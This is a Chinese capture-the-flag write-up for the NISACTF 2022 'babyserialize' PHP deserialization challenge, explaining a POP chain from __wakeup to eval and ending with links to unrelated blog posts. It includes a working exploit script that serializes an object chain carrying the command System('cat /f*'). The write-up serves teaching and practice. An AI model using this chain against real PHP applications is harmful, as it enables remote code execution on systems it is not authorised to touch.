pop链构造 [NISACTF 2022]babyserialize

打开题目

题目源代码如下

<?php
include "waf.php";
class NISA{
    public $fun="show_me_flag";
    public $txw4ever;
    public function __wakeup()
    {
        if($this->fun=="show_me_flag"){
            hint();
        }
    }

    function __call($from,$val){
        $this->fun=$val[0];
    }

    public function __toString()
    {
        echo $this->fun;
        return " ";
    }
    public function __invoke()
    {
        checkcheck($this->txw4ever);
        @eval($this->txw4ever);
    }
}

class TianXiWei{
    public $ext;
    public $x;
    public function __wakeup()
    {
        $this->ext->nisa($this->x);
    }
}

class Ilovetxw{
    public $huang;
    public $su;

    public function __call($fun1,$arg){
        $this->huang->fun=$arg[0];
    }

    public function __toString(){
        $bb = $this->su;
        return $bb();
    }
}

class four{
    public $a="TXW4EVER";
    private $fun='abc';

    public function __set($name, $value)
    {
        $this->$name=$value;
        if ($this->fun = "sixsixsix"){
            strtolower($this->a);
        }
    }
}

if(isset($_GET['ser'])){
    @unserialize($_GET['ser']);
}else{
    highlight_file(__FILE__);
}

//func checkcheck($data){
//  if(preg_match(......)){
//      die(something wrong);
//  }
//}

//function hint(){
//    echo ".......";
//    die();
//}
?>

代码审计一下

include "waf.php";

class NISA{ //定义了一个名为 NISA 的类

public $fun="show_me_flag";

public $txw4ever;

public function __wakeup()

{

if(this-\>fun=="show_me_flag"){ //检查 `this->fun是否等于 "show_me_flag",如果是,则调用hint()` 函数

hint();

}

}

function __call(from,val){ //当对象的方法不存在时,__call() 方法会被调用,它接受两个参数:$from 表示调用的方法名,$val 是一个数组,包含调用方法时传递的参数

this-\>fun=val[0]; //将对象的属性 $this->fun 设置为传递给方法的第一个参数的值,即 $val[0]

}

public function __toString()

{

echo $this->fun;

return " "; //使用 echo 语句输出对象的属性 $this->fun 的值,然后返回一个空格字符串。

}

public function __invoke()

{

checkcheck(this-\>txw4ever); //调用了一个名为 `checkcheck()` 的函数,然后执行了 `this->txw4ever` 的代码

@eval($this->txw4ever);

}
class TianXiWei{
public $ext;
public $x; //定义了一个名为 TianXiWei 的类,其中包含两个属性 $extx ` public function __wakeup()`//这是一个 PHP 魔术方法,当对象被反序列化时会自动调用。 ` {` ` this->ext->nisa(this->x); `//调用 `ext对象的nisa()方法,并将当前对象的属性$x作为参数传递给nisa()方法。 }
}`

class Ilovetxw{
public $huang;
public $su;//定义了一个名为 Ilovetxw 的类,其中包含两个属性 $huang 和 $su

public function __call($fun1,$arg){//PHP 魔术方法,当调用不存在的方法时会自动触发。它接受两个参数:调用的方法名 $fun1 和传递给该方法的参数 arg ` this->huang->fun=arg[0]; `//将传递给方法的第一个参数(`arg[0])赋值给 $this->huang->fun
}`

public function __toString(){// PHP 魔术方法,用于将对象转换为字符串时自动调用
$bb = $this->su;
return $bb();//将 $this->su 赋值给变量 $bb,它尝试执行 $bb(),即调用 $bb 所指向的函数或方法
}
}

class four{
public $a="TXW4EVER";//定义了一个公共属性 $a,并赋值为字符串 "TXW4EVER"
private $fun='abc';//定义了一个私有属性 $fun,并赋值为字符串 'abc'

public function __set($name, $value)//魔术方法,用于在尝试设置不可访问属性时自动调用。
{
$this->$name=$value;//将属性 $name 的值设置为 $value,即动态创建了一个属性
if ($this->fun = "sixsixsix"){//这个条件语句中使用了赋值操作 =,它会将属性 $this->fun 的值设置为字符串 "sixsixsix",并且 if 条件会始终为真,因为赋值操作的结果是被赋的值本身
strtolower($this->a); //在条件语句中执行了 strtolower($this->a),但没有将结果赋给任何变量或属性
}
}
if(isset($_GET['ser'])){ //检查是否存在名为 ser 的 GET 参数
@unserialize($_GET['ser']);//对 $_GET['ser'] 的值进行反序列化操作 @unserialize($_GET['ser']),使用了 @ 符号来抑制可能的错误信息输出
}else{
highlight_file(__FILE__);
}

//func checkcheck($data){//checkcheck函数接收一个参数data ` // if(preg_match(......)){ `//有一个 `preg_match` 函数,但是正则表达式部分被省略了 `// die(something wrong); `//如果 `preg_match` 函数匹配成功,即 `data符合某个模式,那么会执行die(something wrong);来终止脚本执行,并输出 "something wrong" // }
//}`

//function hint(){//hint函数这里没有设置参数
// echo "......."; //输出了一些占位符信息
// die(); //调用了 die() 终止脚本的执行
//}
?>

解题思路

这里我是一点思路都没有,可能也是平时接触到的这类型题很少,全靠大佬的wp

(1)eval反推到__invoke

这里先看到eval,而eval中的变量可控,肯定是代码执行,而eval又在__invoke魔术方法中

先找eval、flag这些危险函数和关键字样(这就是链尾),找到eval函数

反推看哪里用到了类似$a()这种的。

(2)__invoke反推到__toString

在Ilovetxw类的toString方法中,返回了return $bb;

(3)__toString反推到__set

(4)从__set反推到__call

这里反推到Ilovetxw中的__call方法,而__call方法又可直接反推回pop链入口函数__wakeup

大佬的exp

<?php
 
class NISA{
    public $fun="show_me_flag";
    public $txw4ever; // 1 shell
    public function __wakeup()
    {
        if($this->fun=="show_me_flag"){
            hint();
        }
    }
 
    function __call($from,$val){
        $this->fun=$val[0];
    }
 
    public function __toString()
    {
        echo $this->fun;
        return " ";
    }
    public function __invoke()
    {
        checkcheck($this->txw4ever);
        @eval($this->txw4ever);
    }
}
 
class TianXiWei{
    public $ext; //5 Ilovetxw
    public $x;
    public function __wakeup()
    {
        $this->ext->nisa($this->x);
    }
}
 
class Ilovetxw{
    public $huang; //4 four
    public $su; //2 NISA
 
    public function __call($fun1,$arg){
        $this->huang->fun=$arg[0];
    }
 
    public function __toString(){
        $bb = $this->su;
        return $bb();
    }
}
 
class four{
    public $a="TXW4EVER"; //3 Ilovetxw
    private $fun='sixsixsix'; //fun = "sixsixsix
 
    public function __set($name, $value)
    {
        $this->$name=$value;
        if ($this->fun = "sixsixsix"){
            strtolower($this->a);
        }
    }
}
 
 
$n = new NISA();
$n->txw4ever = 'System("cat /f*");';
$n->fun = "666";
$i = new Ilovetxw();
$i->su = $n;
$f = new four();
$f->a = $i;
$i = new Ilovetxw();
$i->huang = $f;
$t = new TianXiWei();
$t->ext = $i;
echo urlencode(serialize($t));

生成payload

得到flag

知识点:

_wakeup()魔术方法

当使用 unserialize() 反序列化一个对象成功后,会自动调用该对象的 __wakup() 魔术方法

_call()魔术方法

当对象的方法不存在时,__call() 方法会被调用

也就是无法访问此方法(未定义),此方法被__call()重载,并显示方法名和参数;

_toString()魔术方法

使用 echo 语句输出一个对象时,会自动检查一个对象有没有定义 _toString() 方法,如果定义了,就会输出 __toString() 方法的返回值,如果没有定义,那么会直接抛出一个异常,表明该对象不能直接转换为字符串

也就是说,如果要将一个对象转换为字符串,必须定义 __toString() 魔术方法

_invoke()魔术方法

当尝试以调用函数的方式调用一个对象时,__invoke() 方法会被自动调用。

具体使用方法见:PHP 魔术方法 - __invoke() - PHP 魔术方法 - 简单教程,简单编程

_set()魔术方法

用于设置私有属性值,有两个参数,第一个参数为你要为设置值的属性名,第二个参数是要给属性设置的值

具体使用方法见:php 中__set()和__get()的具体用法_php __set-CSDN博客

strtolower()函数

strtolower函数把字符串全部转换为小写。

isset()函数

确定变量值是否存在

参考文章:

[NISACTF 2022]babyserialize(pop链构造与脚本编写详细教学)-CSDN博客

关于[NISACTF 2022]babyserialize详解_web_babyserialize-CSDN博客

相关推荐
曙曙学编程6 分钟前
初级数据结构——树
android·java·数据结构
闲暇部落2 小时前
‌Kotlin中的?.和!!主要区别
android·开发语言·kotlin
诸神黄昏EX4 小时前
Android 分区相关介绍
android
大白要努力!5 小时前
android 使用SQLiteOpenHelper 如何优化数据库的性能
android·数据库·oracle
Estar.Lee5 小时前
时间操作[取当前北京时间]免费API接口教程
android·网络·后端·网络协议·tcp/ip
Winston Wood6 小时前
Perfetto学习大全
android·性能优化·perfetto
Dnelic-8 小时前
【单元测试】【Android】JUnit 4 和 JUnit 5 的差异记录
android·junit·单元测试·android studio·自学笔记
Eastsea.Chen11 小时前
MTK Android12 user版本MtkLogger
android·framework
长亭外的少年18 小时前
Kotlin 编译失败问题及解决方案:从守护进程到 Gradle 配置
android·开发语言·kotlin
建群新人小猿21 小时前
会员等级经验问题
android·开发语言·前端·javascript·php